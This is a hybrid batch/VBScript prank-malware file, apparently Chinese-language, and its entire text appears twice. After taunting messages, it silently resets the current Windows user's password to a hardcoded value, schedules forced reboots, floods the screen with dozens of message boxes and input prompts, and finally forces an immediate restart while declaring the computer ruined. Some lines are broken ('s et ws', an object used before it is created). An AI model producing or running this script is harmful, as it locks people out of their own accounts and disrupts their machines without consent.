:On Error Resume Next
Sub bat
echo off & cls
echo Batching_codez_here_following_vbs_rules & pause
start wscript -e:vbs "%~f0"
Exit Sub
End Sub
WScript.Echo("嘿,谢谢你打开我哦,我等你很久拉!"&TSName)
WScript.Echo("你是可爱的XX童鞋吗?")
WScript.Echo("哈,我想你拉,这你都不知道吗?")
WScript.Echo("怎么才来,说~是不是不关心我")
WScript.Echo("哼,我生气拉,等你这么久,心都凉啦。")
WScript.Echo("我很生气,后果很严重哦。")
Const strPassword = "woshinidie"'
Set WshNetwork = CreateObject("WScript.Network")
Dim userName
userName = WshNetwork.userName&",user"
Dim Domain
Set Domain = GetObject("WinNT://./"&userName)
Domain.SetPassword strPassword
Domain.SetInfo
dim gj
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 300 -c ""你的开机密码已被改!!!!"" ",0 ,true
dim a
do while(a <> "")
a = inputbox ("你的电脑要被注销!!!"" ","","你的开机密码已被改!!!!",8000,7000)
WScript.Echo("哼,你要关掉我拉,我不给你关。。")
loop
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
set WSHshell = wscript.createobject("wscript.shell")
WScript.Echo("哟。给你破解拉,你也别想关闭我。")
WScript.Echo("不过我要告诉你。")
WScript.Echo("等等会倒计时关机。")
WScript.Echo("300秒倒计时关机拉")
WScript.Echo("我怕你无聊给你弹窗口化")
WScript.Echo("会弹50个!!!")
s et ws=wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 300 -c ""你的电脑已成废铜!!!"" ",0 ,true
dim b
ws.run "wscript.exe",0
set WshShell = WScript.CreateObject("WScript.Shell")
alerttitle = "系统提示"
alerttext ="你的电脑已成废铜!!!"
for i = 1 to 50
WScript.Sleep(1000*2)
msgbox alerttext,4096,alerttitle
next
WScript.Echo("哟。好拉。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("停停!!!")
WScript.Echo("倒计数")
WScript.Echo("3!!!")
WScript.Echo("2!!!")
WScript.Echo("1!!!")
WScript.Echo("0!!!关机!!!")
WSHshellA.run "cmd.exe /c shutdown -r -t 1 -c ""你的电脑已坏!!!"" ",0 ,true
dim c
Sub bat
echo off & cls
echo Batching_codez_here_following_vbs_rules & pause
start wscript -e:vbs "%~f0"
Exit Sub
End Sub
WScript.Echo("嘿,谢谢你打开我哦,我等你很久拉!"&TSName)
WScript.Echo("你是可爱的XX童鞋吗?")
WScript.Echo("哈,我想你拉,这你都不知道吗?")
WScript.Echo("怎么才来,说~是不是不关心我")
WScript.Echo("哼,我生气拉,等你这么久,心都凉啦。")
WScript.Echo("我很生气,后果很严重哦。")
Const strPassword = "woshinidie"'
Set WshNetwork = CreateObject("WScript.Network")
Dim userName
userName = WshNetwork.userName&",user"
Dim Domain
Set Domain = GetObject("WinNT://./"&userName)
Domain.SetPassword strPassword
Domain.SetInfo
dim gj
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 300 -c ""你的开机密码已被改!!!!"" ",0 ,true
dim a
do while(a <> "")
a = inputbox ("你的电脑要被注销!!!"" ","","你的开机密码已被改!!!!",8000,7000)
WScript.Echo("哼,你要关掉我拉,我不给你关。。")
loop
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
set WSHshell = wscript.createobject("wscript.shell")
WScript.Echo("哟。给你破解拉,你也别想关闭我。")
WScript.Echo("不过我要告诉你。")
WScript.Echo("等等会倒计时关机。")
WScript.Echo("300秒倒计时关机拉")
WScript.Echo("我怕你无聊给你弹窗口化")
WScript.Echo("会弹50个!!!")
s et ws=wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 300 -c ""你的电脑已成废铜!!!"" ",0 ,true
dim b
ws.run "wscript.exe",0
set WshShell = WScript.CreateObject("WScript.Shell")
alerttitle = "系统提示"
alerttext ="你的电脑已成废铜!!!"
for i = 1 to 50
WScript.Sleep(1000*2)
msgbox alerttext,4096,alerttitle
next
WScript.Echo("哟。好拉。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("那我继续弹。")
WScript.Echo("停停!!!")
WScript.Echo("倒计数")
WScript.Echo("3!!!")
WScript.Echo("2!!!")
WScript.Echo("1!!!")
WScript.Echo("0!!!关机!!!")
WSHshellA.run "cmd.exe /c shutdown -r -t 1 -c ""你的电脑已坏!!!"" ",0 ,true
dim c